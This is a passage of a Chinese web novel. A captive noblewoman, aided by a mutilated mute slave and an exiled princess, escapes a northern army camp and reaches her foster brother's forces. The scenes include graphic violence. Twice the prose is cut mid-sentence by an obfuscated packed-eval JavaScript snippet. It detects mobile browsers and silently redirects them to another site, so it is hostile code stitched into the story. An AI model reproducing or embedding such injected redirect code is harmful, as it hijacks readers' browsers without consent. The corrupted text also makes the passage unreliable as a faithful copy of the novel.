元韫浓从小指上褪下一枚雕花金戒指,戴到了哑奴完好无损的右手小指上。 她紧盯着哑奴的眼睛,“无论你用来做什么都可以,换些饱腹的吃食也好,换些御寒的衣物也罢。你不需要,你的家人或许需要。” 哑奴呆愣地跪在原地,看着那枚金戒指。 片刻之后,她低着头把那枚戒指藏进了怀里,然后捧着盘子离开。 元韫浓看着她的背影,弯了弯唇。 看来是赌对了。 哑奴应该真的是南朝被抓来的奴隶,她破旧的粗麻衣里头是白里衬,怀里还揣了一朵白色的小花。 即使是在北凉,她也尽可能地尽一份孝哀悼。 这说明或许那些士兵口中死掉的几个南朝奴隶里,有她的爹娘。 元韫浓刚刚那一番话也是试探,因为这三日以来,她胃口不济,精神不佳。 北凉人给的饭菜自然不会是什么珍馐美味,她实在难以下咽,吃了不多。 有一回她在咳喘的间隙里窥见,哑奴将那些剩下的饭菜端走时,偷偷将剩下的黍饼掰碎塞进皮囊里。 这证明了要么是她在挨饿,要么就是她更为弱小的家人,例如说弟弟妹妹在挨饿。 元韫浓刚刚那一番试探也恰恰被证实了,这些猜想是对的。 元韫浓垂眸盯着手腕上结痂的血渍,突然剧烈咳嗽起来。 她捂着嘴压抑咳嗽,挪开手时,却发现掌心里的血迹。 “啊……”元韫浓苦笑一声,“阿娘啊,给我起的什么字啊?应怜……” 她笑着闭上眼睛,“天不怜我。” 元韫浓数着帐外巡逻的脚步声,舌尖抵住含着的参片。 这是最后一片了,她不知道含了多久,用残存的苦味吊着将熄的心脉。 裴令仪把切好的千年老参塞进元韫浓随身带的香囊里的时候,元韫浓还笑话他呢。 没想到未雨绸缪,还真用上了。 不但用上了,还货不应求。 来送晚膳时,哑奴果然颤抖着递来了一小包寒食散。 “谢谢。”元韫浓语调柔和。 哑奴小弧度地摇了摇头,就站起身来要走。 元韫浓却又抓住了她的手。 “疼吗?”元韫浓轻轻摸过哑奴断指的地方,又摸到哑奴手上冻疮的地方。 她的神情像是观音一样悲悯,带着怜惜。 哑奴愣愣地看着元韫浓,低着脑袋,又慢慢地摇了摇头。 元韫浓握着哑奴的手,苍白的指尖划过哑奴的掌心。 她一笔一划地写—— 东南方,你爹娘的尸骨。 第62章 断指 哑奴瞳孔骤缩,浑身剧震起来。 元韫浓对着她微微一笑,合拢了她的掌心,收回了手。 哑奴再次端着盘子离开了。 正如元韫浓所说的那样,在东南方向,哑奴找到了自己爹娘的尸骨。 趁着夜色,她合着眼泪埋葬了爹娘。 她无法说话,只能在月亮底下重重地磕了两个头,在心底说道:爹娘,女儿不孝,不能让你们回到故土了。 哑奴是真心感激这位南朝来的郡主,她想要为元韫浓做些什么。 所以她用偷偷卖掉那枚金戒指所剩下的钱,来买了一些药材。 她想要将药材熬成药,给元韫浓补一补身体。 但是次日去送饭的时候,她就发现元韫浓倒在铁架边上,气息微弱。 哑奴惊慌失措地扑过去,轻轻摇晃了几下元韫浓的肩膀,发现元韫浓没有反应。 她连忙跑了出去,对着守卫一阵比划。 守卫压根看不懂,看哑奴指着营帐内,也怕元韫浓出了什么问题,探头进去看了一眼。 见元韫浓倒在地上,守卫愣了愣,还是去禀报了上级。 片刻之后,便有大夫来给元韫浓诊脉,开了几帖药。 哑奴身上又多了一个任务,除了送饭之外,每日也要送药。 在元韫浓换来虎符前,她不能死。 不过这一日的药不是哑奴来送的。 明明到了送药的时间,来的人却是那颜律。 外边篝火的光芒斜斜切进帐篷,那颜律掀帘进来时带进的风雪,惊得元韫浓喉间泛起腥甜。 元韫浓原本正在数着自己的脉搏,她腕间旧伤正渗着血,在地上滴成断续的血迹。 咽下喉咙间翻涌的铁锈味,她半眯着眼睛望向走进来的那颜律。 “外面下雪了吗?”她轻声问。 那颜律眼窝深邃,鼻梁高挺,蜷曲的卷发垂落在脸颊边,皮肤白皙。 他看着像是北凉养尊处优的开朗小皇子,而不是在边境领兵,能跟裴令仪厮杀那么多年的将帅。 不过人不可貌相,海水不可斗量嘛。 毕竟裴令仪看着还是条乖狗呢。 元韫浓讽刺地弯了弯唇角。 “啊,是啊。”那颜律走进来,将药碗掼在地上,药碗里泛起一阵阵涟漪。 他随和得像是在跟老友打招呼一样,笑眯眯地说道:“今年的第一场雪来得格外早吧?不过也快要初冬了。” “今年的不同,总不会是因为你们抓了我才有的吧?”勉强压住胸腔翻涌的血气,元韫浓还有闲情逸致玩笑。 那颜律挑眉,“那自然不会,郡主多虑了。” 他用刀背挑起元韫浓的下巴,“其实我有些好奇的是,裴清都真的会拿虎符来换你吗?” 元韫浓气若游丝地倚着铁架笑,“那你不妨试试看,拿我的尸首去换,他会不会给。” “你这是在挑衅我吗?”那颜律危险地眯起眼睛。 “是啊,那你会杀我吗?”元韫浓问。 “你是真以为我不会杀你吗?”那颜律倏地扼住了元韫浓的喉咙。 元韫浓单薄的肩胛撞上铁架,发出一声闷响。 她紧接着咳嗽起来,咳出的血沫溅在那颜律的靴面,绽成红梅。 那颜律皱眉松开了手。 元韫浓这个样子,他是真怕元韫浓就**,让他白费心机。 待咳喘稍平,元韫浓忽地笑了:“事实证明,二皇子也确实不会杀我。” “看来你是有自信,裴清都会用虎符来换你了。”那颜律冷笑。 元韫浓的眸光聚起清辉,“清都会不会用虎符来换我,我不知道。但我知道,二皇子一定会用我来换虎符。” “到哪去找我这么好的人质呢?”元韫浓笑着说道,也不知道是自嘲,还是在讽刺那颜律。 “宗室之女,岐国公和长公主的女儿,元彻回和元蕴英的妹妹,裴令仪的义姐。”元韫浓说,“你不拿我去换些什么,简直可惜。” “这么说来你确实极具价值。”那颜律挑眉,“裴清都一连几日都没有什么动静,我觉得我也应该给他一点紧迫感了。” 元韫浓看向他,“你想做什么?” 这时候哑奴端着药碗,掀开帘子进来。 看到那颜律之后,她脸色大变,连忙跪在地上。 “出去!”元韫浓脸色一变,厉声喝道。 哑奴正要起来,那颜律却冷声道:“站住!” 哑奴只得跪回去。 “我本来是想要给裴清都一点警告。”那颜律的视线在元韫浓和哑奴之间回转,“用你的一根手指。” 他笑了一声:“但是我现在后悔了,郡主的手如此珍贵,平日里操弄琴棋书画,怎能折损呢?” 那颜律提刀走向哑奴,“郡主真是心地善良,连个送了几次饭的北州哑奴都能心生怜爱,难怪裴清都能那么重视你呢。” “等等!这跟她没关系!”元韫浓下意识要支撑着自己站起来。 那颜律一脚踹开锁链,沉重的锁链迅速拖拽着元韫浓摔了回去,手腕上的伤痕磨破得更深了一些,痛得她皱眉。 哑奴跪在原地一动不动,匍匐在地上哆嗦,却没有逃跑挣扎。 “既然短短数日,你们能建立如此牵绊,倒不如让这低贱的哑奴代你受过?便用她的手指来替代吧。”那颜律轻嗤一声。 手起刀落。 哑奴右手原本完好的手指也被砍了下来。 她无法发出完整的句子,只是跪在地上,压抑喉咙里不成调的破碎音节,埋着头剧烈地颤抖着。 她痛得蜷缩起来抽搐,喷洒出来的血溅到了元韫浓的华服上。 “那颜律!”元韫浓怒目而视,恨声道。 “别生气啊,郡主。”那颜律微笑,“她看起来挺愿意带你受过的,我相信清河王看到我送他的小礼物,也好喜不自胜。” 他弯下腰捡起那一截断指,转身离去,“郡主放心,我这就为裴清都送上这份大礼。” 元韫浓看着那颜律走出营帐,染血的手指正微微痉挛。 元韫浓连忙爬向哑奴,捧起哑奴残缺的右手,撕扯下裙角按住伤口止血。 血已经止住了,只有伤处裸露出森森的断骨。 良久,元韫浓轻声问道:“想回家吗?” 元韫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476486|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浓的声音轻得像是在喃喃自语一样。 她摊开哑奴的手,在对方颤抖的掌心书写—— 布防图。 哑奴蜷成一团发抖。 “我们回家。”元韫浓却缓慢地将额头贴在哑奴冰凉的指尖。 这是北州的羔羊向牧民求救的姿势。 哑奴突然抽泣起来,残缺的手紧紧攥住了元韫浓染血的衣角。 怜悯、被怜悯…… 元韫浓身上和她娘一样,有着草药的苦涩和香气。 她想回家,她想要回家。 与北凉军营遥遥相对的,是已经带兵到了北州的裴令仪。 叛军尚未**,但是没有庄且在,群龙无首,不成气候。 元彻回带了兵在锦州继续**叛军。 而裴令仪上奏说北凉突起异象,寄来战书挑衅,就伪造了一封战书送到惠帝手上去。 也不管惠帝什么反应,下旨了没有,就一路带兵直奔北州。 原来驻扎北州的北营军和徐氏对此相当不满,不过现在裴令仪没心情理睬他们是怎么想的。 他到北州没多久,就收到了那颜律的礼物。 北凉来使打开那个匣子,裴令仪瞳孔骤缩。 帐外呼啸的北风卷着砂石拍打在帐上,却压不住他耳中轰鸣的血潮。 血色突然漫上视线,裴令仪的手开始发抖。 匣子里只孤零零地摆着一截青白的断指。 北凉来使说:“我们二皇子说,奉上一指,还有九指可赠。望清河王能将交易放在心上,早已取得虎符。” 下一刻,裴令仪的剑锋猛地劈断了捧着鎏金木匣的手臂。 帐内烛火被剑气惊得乱晃,在帐顶投出魑魅乱舞的影。 一只断臂砸在地上,裴令仪抱住了那个木匣子。 “殿下!”裴七惊愕,下意识上前一步。 斩杀来使,就是宣战。 虽然说结果都是那样的,但是此时斩杀来使后患无穷啊。 刚挪了一步,就被裴令仪眼底的血色骇住。 孙鹃纨拉住了裴七,对他摇了摇头。 裴令仪一脚踩住来使咽喉,咬着牙道:“你们怎敢……” 他闭眼也能描摹出元韫浓秀气的手骨,临行前还戴着串珊瑚珠子,在沙盘前比划地形时,晃得他分神。 元韫浓含笑点他的时候,像是一场虚幻无实的梦。 剑锋没入来使的眼睛,血溅在北州舆图上。 来使的惨嚎戛然而止,裴令仪提着滴血的头颅掀帐而出时,发觉北凉的苍狼旗突然改换成了素白丧旗。 寒风卷着冰碴灌进甲胄,裴令仪突然冷静了下来。 他转身回到营帐里,手掌压在装着断指的木匣上,青筋暴起。 “都出去。”他的声音轻得像雪落剑锋般。 “殿下?”裴七担忧地看向他。 孙鹃纨低头看了一眼木匣子里的断指,凝滞片刻,拉了一把裴七,“走吧,殿下有自己的主意。” 所有人都离开,最后一人出去,帐帘落下。 裴令仪盯着那根带有老茧的断指,合上了木匣子的盖。 这不是出自一个养尊处优的郡主身上的手。 第63章 和亲公主 中军帐的血迹未干,裴令仪让孙鹃纨将染血的断指埋进药圃。 孙鹃纨也看出那根断指不是元韫浓,抬眸看向裴令仪,“殿下,接下来怎么办?” 裴令仪对着舆略图低喃:“那颜律既送了假指,那便还他一座真坟。” “将军,三军候令。”张校尉的声音隔着帐帘传来。 裴令仪冷笑一声:“交给你了。” 孙鹃纨意味深长地看向那个帐外的倒霉鬼。 不管是不是故意的,这个校尉姓了张,而且那个北凉女使还是他带来的,害元韫浓被抓了。 裴令仪走过火盆,披风掠过炭火闪烁的火星,迎着风雪走了出去。 假虎符已成,那颜律既然想要,那就给他好了。 他会附赠上随礼。 “裴九。”裴令仪吩咐,“你去取裴氏秘毒来。” “是。”裴九惊异地看了裴令仪一眼,低头应是。 * 事实证明,元韫浓没有信错人。 帐外火光晃动,人影缭乱,声音嘈杂,一片混乱。 帐外的风雪时不时泄漏进来几缕,元韫浓冷得发颤,慢慢地望向外面。 在交杂的脚步声中,有个灰扑扑的影子闪进了帐子里,缺指的手递来染血的布防图。 元韫浓还来不及说什么,哑奴惊恐地瞪着眼睛,在元韫浓手心里写到—— 那颜律亲卫,搜查。 元韫浓顿了顿,拉着哑奴走向营帐后头,将她从帐子底下的缝隙处推了出去,“从运送粮草的车夹层那走。” 元韫浓这些天不是白白待在帐子里的,她会听帐外的声音,也会在车马行过时偷偷从缝隙处窥视。 她知道每天的这个时间点,都会有运输粮草的车从这边经过,停下,再离开。 哑奴爬了出去,跌跌撞撞地藏进了车的夹层。 元韫浓环顾四周,听到脚步声渐近,紧张地盯着布防图,将上边的东西一点一点记住。 然后在那些脚步声停下前,元韫浓飞速地将布防图丢在照明的火折子上。 纸张迅速燃烧成灰烬,帘帐被掀开。 士兵们环视了一周空荡的帐内,发现只有元韫浓倚靠在铁架边,气虚体弱,便合上帘帐,转身离开了。 士兵们继续四处搜查,寻找那个偷走了布防图的贼子。 他们甚至进了裴雍那个公主的帐子里搜查,在搜索无果之后,向公主致歉后离开。 这个已经年迈的公主正用龟甲梳蘸着药油,慢慢地梳理自己已经斑白的鬓发,眼角的皱纹里藏着几十载的风霜雨雪。 当年她离开故土,远嫁和亲,妆匣的暗格里就藏着**。 方便她出了事服毒自尽,不要拖累亲族。或是接受亲族的指令,毒死哪个人。 但是一夜之间,改朝换代,她成了前朝公主,也没有了多少价值。 经年累月,她更是换了几个丈夫,年老色衰。 北凉皇帝不需要一个没有利用价值,并且已经年迈苍老的和亲公主。 她唯一的价值,就是留在这个一旦与南朝开战就是第一线的北凉兵营里,换取南朝的片刻迟疑。 仅此而已。 她拥有的,只是为数不多的作用和尊重。 她也想过干脆动用那藏箱底的**算了,结束自己的生命,亦或是了结现下那位北凉皇帝的性命。 但是她不该死,她也不想替如今的南朝皇帝解决心腹大患。 想了又想,最后她还是把**藏了回去。 “真是大动干戈啊,这里已经很久没有这么大的阵仗了。”公主闭着眼笑。 她掀开毡毯,露出底下蜷缩的哑奴。 “你替那个南朝女子偷了布防图。”公主问得随意,“那个女子许诺给了你什么?值得你替她这样卖命?” 哑奴爬起来,犹豫了一下,握住公主的手,把自己的额头抵在公主的指尖上。 她向公主表示,元韫浓给她的东西,正是这一份求助和怜悯。 公主愣了愣,沉默了半晌。 “你和她都是南朝人,有朝一日,或许能回到故土。而我,永远也回不去了,我永远也无法回到大雍。”她轻声说道。 哑奴仰起脸,对着公主摇头。 她又在公主的掌心里写—— 郡主义弟,裴令仪。 公主猛地抬起头。 三更夜,公主踏入这一顶关押重要人质,却空荡的帐子。 元韫浓在铁架边微微侧过脸,看见老公主缀着东珠的红斗篷,红得那样刺目。 正是当年和亲时,仪仗队走出京城,公主就披着这一身斗篷。 到了北凉之后,她也常穿。 即使是她年老色衰,身边人都说这斗篷旧了,不合适了,她也坚持穿。 仿佛这样,她就固守住了什么东西。 北凉人也习惯了军营里有一个喜欢披着红斗篷四处游荡的老公主,他们说这是个没用的、可怜的疯女人。 “郡主可认得裴清都?”公主问道。 “咳……咳咳!”元韫浓咳出血沫,回应,“清河王,我的义弟……咳咳……也是裴雍最后的希望……” “他会成为裴雍的希望吗?”公主继续问。 元韫浓气若游丝地笑了笑,“我认为他会。” 公主说:“很多事情不是你认为就可以的,我听说你跟他关系很好,你会帮助他吗?你会支持他吗?你会站在他身边吗?” “真是个好问题。”元韫浓看向公主,“他是我的义弟,我们亲如一家。经历此事,我会帮他,但是公主也得帮我的忙。” “那么,你要我如何?”老公主的声音像淬过冰的刀,缓慢却锐利。 元韫浓轻咳一声:“那要看公主愿意做到什么地步了,公主想要复国?还是只想要裴雍的血脉延续下去?亦或者是更多呢?” “你很聪明。”公主神色复杂。 “多谢夸奖。”元韫浓不谦虚地接受了夸奖,“不管公主怎么选,我第一个要的,是公主帮我送一封信。” 公主走出帐子时,望向没有星月的天空,又叹了一口气。 她回忆起故乡的歌谣,已经很模糊了。 但是片刻之后,她还是很低很低地哼起那首歌谣。 即将破晓时,中军帐中的裴令仪就收到了一封信。 “报!西北方哨塔截获信鸽 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元韫浓又抠下了簪子上的红玉送给哑奴,用红蜡将纸张封存进簪子里,隐秘地藏进众多发饰之中。 哑奴连连推拒那块红玉,在元韫浓手心里写,说在他们北州,送珍贵的玉给对方,就相当于把性命交托给对方了。 元韫浓笑了笑,“我现在不就是相当于把性命交托给你了吗?” 哑奴红了脸,想要回赠给元韫浓些什么以表珍重,但是摸遍了全身也没摸到什么。 于是她郑重其事地割了一缕自己的头发下来给元韫浓,在元韫浓手心里写—— 割发代首。 元韫浓险些被她逗笑。 哑奴不好意思地告诉元韫浓,北州很多人都没法回家,都会割发代首,以表回家了的。 元韫浓这还真不知道,因为哑奴还了解了北州的风俗。 哑奴的妹妹前几天病**,哑奴因此低沉了一段时间。 元韫浓很久没有看到哑奴放松一下了,这会看到哑奴稍微露出了一点笑容,觉得这枚红玉送得还是很值得的。 她在哑奴身上偶尔能看到裴令仪的影子,悲惨的、可怜的。 但是也是坚韧的。 等到一切准备完毕了,半月之限即将来临。 马上太阳就要下山了。 等到太阳落下,然后再次升起,那颜律就是带元韫浓去换虎符。 成败就在此一举了。 元韫浓深吸一口气,用完了最后一点寒食散。 “紧张吗?”公主问道。 “不紧张才奇怪吧。”元韫浓回答。 哑奴解开了元韫浓手上的镣铐,元韫浓拉下衣袖,遮挡住手腕上仍然在渗血的伤口。 公主脱下那件她真爱的红斗篷,她和亲出嫁时就穿着这件斗篷来到了北凉,伴随她度过日日夜夜。 上面缀着的东珠象征了她的身份,她是背离故国来到这里的和亲公主。 多少个夜晚,她也是这么抚摸着上面的东珠提醒自己这一点的。 第64章 割发代首 “我老了。”公主叹息,“我也不想继续这样活下去了,不想苟延残喘,不想没有故国。我分明是为了它才来到这里的,没有它,一切都失去了意义。” “但你还有来日。”元韫浓说道。 “不,是你们还有来日。”公主看着元韫浓摇了摇头,“你和清都还有来日。” 公主展开斗篷,为元韫浓穿戴好这件斗篷,“他们习惯了我穿着这件斗篷游走在兵营,今天又是交换兵符的日子,他们不会太注意的。你就装成我,一路向北州的北营。” 她郑重道:“丑时换防,南面的两道会空虚半个时辰,这半个时辰里你必须逃出他们的哨兵视线范围,我给你备的马就在兵营外的草垛边。” 元韫浓看着公主在北凉变得粗糙苍老的手,抿了抿唇。 公主感慨般说道:“我藏了那么久的**,居然终于有了用武之地真是……造化弄人。” 看着元韫浓,公主再次重复:“我和哑奴会为你尽可能地争取时间,你要尽快,丑时一到立刻走。” “记住你答应我的。”老公主注视着元韫浓的眼睛,“你会帮助裴雍一脉,即使你不能帮助他们复国,也不可以阻止他们。” “我记住了。”元韫浓闭了闭眼。 “好、好。”公主像是才松了口气。 她系好斗篷的带子,轻轻推了元韫浓一把,“去吧,去吧。” 元韫浓又转过身,看了公主一眼。 然后她又望向了哑奴,哑奴对她咧开嘴笑了笑。 哑奴握着元韫浓的手,在她掌心里写—— 如果南朝赢了,带我尸骨回家。 她想了想,似乎是觉得这太为难元韫浓,于是摇了摇头,抹了一下元韫浓的掌心,重新写—— 郡主回家。 她对着元韫浓点了点头。 元韫浓眼眶有些泛酸,她抬起手摸了摸哑奴的脸,然后跟那次一样。 她低下头颅,用额头轻轻触碰哑奴残缺的手指。 做完这一切之后,元韫浓戴上兜帽,转身向着南面走去。 她疾步向前走,忽而听到身后的嘈杂声。 她回头看了一眼,远处燃起了火光,有什么东西在热浪中嘶鸣。 周围的士兵都冲向了那里,喊着救火。 元韫浓转过头,继续往前走去。 那颜律带着人冲进来时,公主正哼唱着故国的歌谣。 “吃里扒外的老东西!”那颜律怒道。 老公主没有理睬他,将燃着的宫缎抛向穹顶,帐幔化作火舌阻拦了追兵。 “真是疯了!”那颜律怒火冲天,指挥兵士们扑火,“这老女人突然发什么疯?” 他恍然意识到了什么,脸色一变,丢下这边直冲向关押元韫浓的营帐。 猛地掀开帘子冲进去,空荡荡帐子里什么都没有,只有散落一地的锁链和镣铐。 那颜律面色阴沉,吼道:“去搜!” 搜捕巡视的士兵一下子多了起来,元韫浓费了好大一番功夫,才出了兵营。 在草垛后面,她看到了一匹黑马。 舞阳儿。 元韫浓踉跄着朝着舞阳儿走去,她不清楚裴令仪收到那条绢帛之后用了什么样的法子,才让舞阳儿代替了公主原本替她准备好的马匹。 但是这也恰恰证明了,裴令仪收到了绢帛,知道该做什么。 不必因为她再牵绊住手脚,可以直接跟那颜律对阵。 舞阳儿温顺地用脑袋蹭了蹭元韫浓,元韫浓拍了拍舞阳儿的脖子,翻身上马。 骑上马背后,元韫浓却突然顿住了。 她刚刚无意间视线扫过,看到一边的角落随意地堆着几具尸体,看起来是只等秃鹫和野狗的光顾了。 只是在那片冻土上,那几具撂在一起的尸首,元韫浓看到一双垂出来的手,无论左手右手,都缺了一根小指。 那双手手里还紧紧握着,那枚元韫浓送给她的红玉。 她说把玉给对方,就是交付性命。 元韫浓把玉送给她,她也没有辜负。 不知道这次在死亡之前,她有没有发出声音? 元韫浓艰难地挪开目光,只是下马割了一缕哑奴的头发。 她将那一缕头发和虎符藏在一块,调转舞阳儿的缰绳朝向南面。 原谅我这一次不能带你回家。 只能割发代首,带你回北州。 元韫浓策马先前奔去,行出一段距离,却隐约觉察到了什么。 她猛地回头,看见瞭望塔上那颜律阴沉的面容。 下一刻,那颜律的箭簇破空而至。 箭矢惊起一道蜿蜒血线,那颜律表情阴郁地看着飞奔的黑马疾驰而去,手里的弓仍在震颤。 见那匹马已经跑出了箭矢能射中的范围,那颜律只能放下**。 他身后的亲卫小心翼翼地观察着主上的脸色,问道:“主子,既然那个郡主逃了,我们现在怎么办?马上就要跟裴令仪交换了。” “是啊,主子,裴令仪精明成那样,如果不看见那个郡主的人影,怕是不会给虎符啊。” “虽然说我们本就计划一拿到虎符就过河拆桥,把人砍了,但是我们现在也还没拿到虎符啊。” “都住嘴!”那颜律吼道,“一帮子蠢货!还能怎么办?先糊弄过去!” 他顿了顿,又从上而下看过去,那匹马,那个人,都已经不见了踪迹。 那颜律道:“派人去追,要是追不上个体弱多病还中了一箭的郡主,那他们也不必回来了。” 下属们噤了声,跟上面色难看的那颜律。 裴令仪自然也依照约定,在晨雾未散时,单骑出营。 摸到袖袋里元韫浓及笄时送给他的永生花,裴令仪闭了闭眼,祈求元韫浓能脱困。 依照元韫浓托裴雍公主送来的绢帛,他在今日于北营接应元韫浓,还换上了舞阳儿。 但若是元韫浓没有脱困,他今日的所作所为必然会激怒那颜律,元韫浓的处境只会更糟糕。 阿姊……他相信阿姊。 阿姊说能做到,那必然就能做到。 裴令仪再睁开眼面对那颜律时,眼底已是一片古井无波。 “虎符,带了吗?”那颜律问。 “阿姊呢?”裴令仪反问。 那颜律说:“裴清都,你搞清楚,现在是你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476488|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有求于我,并非我有求于你。你在乎元应怜的死活,而虎符只是个死物。” “那颜律!”裴令仪咬牙,似乎是只能妥协,“带了。” 实则裴令仪心底稍稍松了口气。 既然那颜律没有把元韫浓带来让他看上一眼,那么就说明元韫浓十有**已经逃走了。 “那就好。”那颜律勾唇,“让我看看虎符。” 裴令仪举起虎符,青铜在熹微晨光中泛着一闪而过的幽蓝。 那颜律点了点头,“扔过来。” 裴令仪抬手,将那枚淬了毒的假虎符丢了过去。 那颜律伸手接住虎符,松了口气。 “虎符已经给你,那我要的人呢?”裴令仪冷声问道。 “哦——你是说朝荣郡主啊?”那颜律收起虎符,笑了一下,“已经……**。” 这似乎是一个讯号,朝阳已经完全升起,自裴令仪身后响起的号角声穿透浓烟。 “报!左右两翼有轻骑兵破阵!”斥候疾冲到那颜律面前。 那颜律阴沉地看向裴令仪,“看来你是真不顾你阿姊死活。” 裴令仪没有回答他。 那颜律只带了千人的队伍,裴令仪更是看似只有一人来赴约。 “那些轻骑兵有多少人?”那颜律问道。 斥候汇报:“左右两边加起来,大致有两千人。” 那就是压倒性的数量了。 那颜律再看向裴令仪,在金铁交鸣声中,裴令仪挥剑格开流矢,朝着南朝的兵营后撤。 他跟裴令仪对视,裴令仪乌黑清透的眼眸犹如寒气刺骨的冰水似的。 裴令仪收回了目光。 轻骑终于撕开北凉阵型,那颜律高声喊道:“撤!” 幸存的北凉残部开始向西北溃逃,残破的苍狼旗在火中蜷曲,裴七踩过地上的北凉旗帜,问道:“殿下撤回去了吗?” “殿下早撤回去,去北营了。”裴九说道。 裴七低下头,不知道在想些什么。 直到裴九喊他:“我们也撤吧,殿下说了,穷寇莫追。我们此次目的,也只是为了分他们神罢了。” “知道了。”裴七应声。 裴令仪骑马赶到北营时,孙鹃纨已经在此恭候很久了。 四下依然一片寂静,裴令仪翻身下马。 “怎么样?”他来得很急,气息未定,携来凛冽寒霜。 孙鹃纨望向苍茫大地,一片雪白,只有北风萧萧。 “没有。”孙鹃纨摇了摇头,“什么都没有。” “你带人在这里守着,我带一队人去附近找。”裴令仪眉心微蹙。 话音刚落,遥遥听见一阵马蹄声,裴令仪能听到马蹄踏过冰痕的脆响。 大雪之中,一匹马破开风雪,载着人奔来。 一匹矫健的黑马跃过雪坳,扬起雪雾,在苍茫白色之中,震落了松枝积雪。 马上红斗篷的女子伏在马上,近了才看清面容。 “阿姊!” 身边的裴令仪早已冲了出去。 风卷起斗篷猩红的边,血珠如同崩断的珊瑚珠子般滚进雪地。 元韫浓力竭地摔进了裴令仪的怀里。 第65章 醒来 披着红斗篷的元韫浓,像是雪地里燎天的熊熊烈火。 裴令仪张开双臂接住元韫浓的刹那,听见自己急骤的心跳。 元韫浓睫毛上的冰晶簌簌而落,眼底将熄的星火晃动,“有追兵……” 他们发现元韫浓背上埋进了一支箭矢,手腕上有镣铐压出的血痕。 元韫浓紧绷许久的精神,终于在看见裴令仪这一刻松懈下来。 太冷了,也太疼了,她的眼前一阵一阵地发黑,失去了意识。 裴令仪将元韫浓抱起,敛目冷视前方,“杀。” 追兵的箭簇钉进冰层,马蹄却止步于箭矢前,忌惮地看着眼前恭候许久的裴令仪一行人。 几息之后,他们调转马头,“撤!” “还想着逃命?”孙鹃纨冷笑一声,翻身上马,“追!” 她带着一行人追了上去。 裴令仪抱着元韫浓,转身走进营门。 血水混着雪水一盆盆地换出去,帐内的气氛堪称可怖。 元韫浓一直昏迷不醒,拔出没入血肉的箭矢时却在半梦半醒间痛得哆嗦,呕出一口淤血。 裴令仪一面拿锦帕擦掉元韫浓唇畔的血,几度哽咽。 他的手掌覆在元韫浓冰凉的手腕上,数着元韫浓微弱的脉动。 替元韫浓处理完箭伤,军医几番犹豫地向裴令仪禀报:“郡主这伤养好了再辅以祛疤膏,不会留太深疤的。要是药用得好了,不会留疤。” “这时候了还管什么这些细枝末节?我是在问你阿姊现在怎么样!”裴令仪怒道。 “这……”大夫愈发犹疑,“恐怕是……九死一生。” 孙鹃纨闻言勃然大怒,“都九死一生了你还管留不留疤!” 裴令仪攥紧了掌心,骨节泛着森森的青白。 “再说一遍。”他的声音像是裹着碎冰。 大夫胆战心惊,不敢去看裴令仪阴鸷的脸色,只得说:“在北凉帐中郡主怕是已经染了风寒,再加之水土不服,忧思过度,状况已经很不好了。” “郡主本就体弱,北凉人怕是没有上心,给的药都不是治这个病的。郡主反复受凉咯血,精神紧绷,还药不对症,此时再中箭无异于雪上加霜啊。”大夫细细道来。 大夫说一句,在场的人脸色就难看一分。 停顿了一下,大夫又道:“而且,郡主还服用过寒食散。” “寒食散?”孙鹃纨不可置信。 “怕是为了强行提神来用的。”大夫道,“于郡主而言,此等亏空往后健康来换一时清明强力的虎狼之药,无异于竭泽而渔,焚林而猎。何况郡主本就底子空虚,身子不好。” 裴令仪望着元韫浓苍白的脸,问:“不惜一切代价,有几成把握?” 大夫犹豫片刻,“本该是有七成的,可郡主身子太弱了,恐怕只有五成。” 那就是与天对赌了。 裴令仪闭了闭眼,“去做。” “郡主心脉衰弱,最忌忧思。往后这种大难,可万万不得再来一遭了啊。”大夫叮嘱了几句。 “难不成这回出事还是我们这些人故意设计的吗?”孙鹃纨拽过大夫的衣袖,不让他继续毫无意识地往裴令仪心上扎刀子。 她推着大夫往帐外走,“快去开方子吧。” 裴令仪就那样坐在那里,几乎不眠不休地照顾了元韫浓一连五日,连军务都搬到了这座帐子里。 这五日元韫浓昏昏沉沉,别提米水,连药都快喂不下去。 裴七看着裴令仪一日比一日颓靡,一日比一日焦灼。 他几次想要劝裴令仪注意一下自己的身体,都被孙鹃纨拦下来了。 “你别去烦他了,你劝没用的,能劝他的那个还没醒呢。”孙鹃纨说。 “难道就让殿下不顾自己身体下去吗?”裴九反问道。 孙鹃纨瞥了他一眼,“那怎么办?要不要你现在就进去问问,看看是光复裴雍重要,还是郡主的死活重要?” 裴九一时间哑然。 偏偏元韫浓还带回来了北凉的布防图,叫他不能多说什么。 整理元韫浓钗环的时候,裴令仪发现了其中那支红玉的簪子。 红蜡融化,明矾水写下的字迹在灯照下显现,发现了是北凉的布防图。 尽管北凉人知道布防图被偷,会重新排布。 但是依照这个布防图,也是能洞悉对方的习惯和弱点的。 裴令仪看到元韫浓用这个法子带回来北凉的布防图后,还默不作声地坐在灯火边好久,任由融化的红蜡再次凝固在他的掌心。 这张布防图能堵上绝大多数人的嘴,让裴七也不好多说什么了。 “你自己心里有数就好。”孙鹃纨拍了拍裴令七的肩膀。 而裴令仪依旧喂元韫浓喝了半碗药,这几日都是这样,能喂下半碗就算好了,剩下的怎么也喂不进去。 就连这半碗,也是裴令仪唇贴着唇,勉强渡过去的。 唇舌间还残留着药汤的苦涩,裴令仪将元韫浓脸颊边的碎发拨到耳后,“阿姊……” 